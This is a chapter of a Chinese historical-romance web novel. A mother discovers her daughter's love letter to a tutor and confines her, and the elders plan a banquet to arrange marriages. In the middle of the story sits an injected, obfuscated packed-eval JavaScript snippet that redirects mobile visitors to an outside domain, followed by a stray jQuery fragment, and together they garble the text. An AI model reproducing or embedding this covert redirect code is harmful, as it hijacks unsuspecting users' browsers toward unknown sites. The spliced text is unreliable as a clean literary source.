宋时姿被侍女嬷嬷们扶回了院子,自然又是一番折腾。
只马场与西庄不同,马场就在宋府后巷,里面仆从多,饶是宋时言下令不得将下午发生的事乱说乱传,但到晚膳时分,还是让二夫人薛氏知道了。
薛氏这几日身子将将好一些,被嬷嬷伺候着饮了一碗银耳莲子汤,心中燥烦刚下去些,就听说自己这个逆女在马场干的好事,顿时心头火起,一拍桌子,怒道:“将她给我带过来!”
侍女们互相瞅了一眼,惴惴说:“女郎好像受伤了,方才院中小丫头过来说了,这会怕是来不了……”
薛氏气得站了起来,只起得急,眼前一阵阵发黑,忙拽着侍女的手闭目定了定,好半晌终于缓了过来,又道:“随我过去!”
薛氏来到宋时姿院中时,满屋侍女都站在屋外,一个个探头望着里屋,惊慌失措的样子,见到薛氏更是大吃一惊。
丫头们如此怯懦不顶事,薛氏本糟糕的心情更是怒不可恕,扫了一圈,问:“怎么回事?”
侍女垂着头,惶惶道:“女郎将我们赶了出来,不让进去。”
一听这回答,薛氏气得手都抖起来。
青天白日的,一个姑娘家关起门在房里干什么?!
她立刻吩咐身旁的嬷嬷,去把门推开。
薛氏身旁的嬷嬷是薛家精挑细选的陪嫁嬷嬷,个个生得健硕,就是因着薛氏身子弱,为了方便服侍。这会听到夫人吩咐,几步走到门前,手上用力,轰地一下将门破开。
薛氏迈着碎步进了屋,一望,里面无人,只内室传来窸窸窣窣的声响。薛氏柳眉一竖,也不要嬷嬷扶了,几下走到隔门旁,一把揽过珠帘,走了进去。
内室榻上,宋时姿正趴着在纸上写着什么,身侧散落着数个纸团。听见声响,也不抬头,只叫嚷着:“不是让你们不要进来吗?”
薛氏一看这场面,先是松了口气。只下一瞬眉头又皱了起来。
写个字,至于将丫头嬷嬷都赶出去吗?搞什么这么神神秘秘的?
心中存着疑,走近了几步俯下身。
宋时姿正绞尽脑汁想着措辞呢,余光一动,忽见斜前方垂下个影子,当即唬了一跳,手一抖一团墨汁在纸面上晕开来。
宋时姿当即就要开口骂人,只是还未动作,手下的纸忽地被人抽去,再抬头,居然见到她阿娘站在面前,脸色铁青。
“你,你……”
看清了纸上写的内容,薛氏竟是气得连话都说不出来了。
被人抓了个正着,且白纸黑字,想辩驳都不成。宋时姿脸都涨红了,又是气愤又是羞恼,忙手脚并用从榻上爬起来,想了想,还是觉得先将薛氏唬弄过去。
自己这个娘亲耳根子软,以前若是犯了错,她撒个娇说上几句事情就过去了。只是这次薛氏没有给她开口的机会。
“你们几个给我将女郎看牢了,这几日都不许她出屋,若是我发现女郎偷跑出来,就把你们都卖到庄子上去。”
侍女们诚惶诚恐,喏喏低声应是。薛氏说完这话,也不看宋时姿,转身出了房门。
门嘭地一声合上。薛氏站在廊檐下,只感觉气血直往脑壳里涌,她兀自闭目深呼吸几口,才吩咐自己身边的得力嬷嬷:“你留下,给我看着她。”
又低头看了看手中捏着的纸张。上面字体娟秀,看得出是用心写了的。只是,这里面“思君念君,魂梦萦绕”是一个闺秀女能写出的东西吗?!
薛氏又感觉眼前一阵阵发黑,她憎恶自己这副虚羸的身子,也憎恶软弱无能的丈夫,自儿女出生后,便一腔心血扑在他们身上,只是万没有想到,女儿竟这般不知羞耻!
上次西庄回来后,应儿就跟她说过,只是兄妹俩向来不对付,女儿那时又受了伤,在她跟前哭诉几句,她便将这事揭过了。
如今看来,这事竟是真的!
她的女儿,她如珠如宝养大的女儿,竟然爱慕一个下人之子!还恬不知耻写下这些文字!
薛氏捏紧纸张,恨不得当场就给撕烂,只还是冷静下来。
女儿一向心高气傲,怎地会忽然喜欢一个庶民?那人好像是她们暂时的夫子,即便今日禁了她足,也难保日后两人不会再见面。
不成,一定要彻底断了她的想法。
薛氏下了台阶,她现在就找姑母去。
松涛院里,老夫人还在和苏嬷嬷说着各房子女,没想到一向体弱的二儿媳竟来了。
老夫人诧异半晌,见她犹豫着似有话说,才让下人们都退下。
“您说说,哪有人这么安排的,一个年轻男子和一屋子未婚女郎待在一起,说出去还让女郎们怎么嫁人?”
老夫人听她哭哭啼啼说了一通,耳朵嗡嗡的,连带着脑壳也疼了起来。
只到底是她亲侄女,又为宋氏生养了一双儿女,老夫人忍着耐心听完,道:“这事早先孟氏就跟我说过,不过竹苑那里已经隔断开,又有仆从里外守着,不会出事的,再说月底郑夫子就回来了,左右就十来天,你呀就莫瞎操心。”
薛氏心里着急,却也知道有些话不能说,只道:“就怕有人乱嚼舌根。”
老夫人却更放心了:“都是孟氏安排的人,这方面我信得过。”
孟氏主持中馈这么多年,府中人事也一应经她手,就没有哪件事办得不好过。
听到老夫人这么说,薛氏心中闪过一丝不快。想起最初入府时,明明姑母和自己更亲,怎地过了这些年,就帮着孟氏说话了,便嘟囔着道了句:“万事都有意外。”
只老夫人也不糊涂,自己早免了这侄女的晨昏定省,她这些年是有事才往这边来,今日特意过来,絮絮叨叨说了这许多,肯定是发生了什么事。
“怎地,外面有人说什么了吗?”
薛氏眉心一跳,忙道:“倒没有什么,只是姿儿都已经及笄了,婚事还没定下来,我有些着急,就怕横生什么意外。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16503071|186048||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
提到婚事,老夫人也揉了揉额。
家中女郎都渐渐大了,除了老二家的,还有老大的也没有定下。这事原以为长子回来后会有什么想法,却没想到寿宴都过去十来天了,老大那边提都没提,说实话,老夫人心中也有些急。
长子不日就要返回凉州,下次回来还不知何时,若是眼下不尽快将几个儿女的婚事定下,后面可就迟了,连带着几个小的亲事也要耽搁下来。
这可是一件大事。
如此想着,便问起薛氏有没有属意的人家。
“也跟姿儿提过几家,不过她都不喜欢。”薛氏叹了口气。
老夫人皱起眉。侄女也是,女儿家的大事哪能由着她自己喜不喜欢,何况老二家的被娇宠惯了,恐怕只有王子皇孙才能入她眼。
老夫人心下有了想法,便让薛氏不必急,先回去听她消息。等到晚膳时,便将这事给国公爷说了。
宋老爷一听,也诧异。若他没记错,长孙女今年已经十六了吧,十六的女郎还没定下婚事,的确有些晚了。
宋秉这些年闲云野鹤,的确不大理府里一些事,但自己嫡亲孙女的婚事,他还是觉得要管一管。
老夫人便接着道:“还有老二家的,那孩子性子直,又冲动,不大适合一门宗妇,给她寻个家里简单的,最好是嫡次子,安安稳稳的,就行。”
宋老爷沉吟半晌:“这事我心中有数,明日就同他们兄弟俩说。”
宋秉说一不二,到了第二天,果然将宋觉宋规俩兄弟叫到书房。先问了各自近况,又询问了宋觉归期,才道:“你母亲昨日对我提了几户人家,是想着趁你还在望都,将言儿的婚事定下,你心里可有合适的人选?”
宋觉微微一凝。与宁王结亲的事只是口头约定,原来他就有些犹豫,最近出入宫廷,越发感觉今上对藩王的态度暧昧,似乎隐有削藩的想法。宁王虽为人低调,但近几年通过对北戎的战事很是收获了民心,在甘州威望日盛,即便之前今上可能对他有一丝的愧疚和补偿之心,但如今是何想法,宋觉也不敢妄加揣测。最保险的,当然就是离这些宗室远一些,尽量不要牵扯进去。
如此想时,便开口道:“父亲所言极是,是我考虑不周,这几年我不在望都,未知如今世族里的青年才俊,还望父亲费心。”
宋秉点点头,又转向老二那边。宋规一向没什么主意,只躬身让宋秉做主。
宋秉抚了抚胡须,便说了他的想法:“与我们交好的世族里倒有几个合适的,只是时间短,不好一一考察,不若就举办一次宴席,将他们都请来,到时你们也可参度。”
这便是变相的相看了,比起一家一户打听,这样的确效率高很多,而且旁人的说辞可能有美化的成分,但一个人的行为举止谈吐很能反映他的修养品性,这些都是直观表现出来的,可做不了伪。
宋觉想了想,含笑道:“正好府里荷花都开了,便办一场浮香宴。”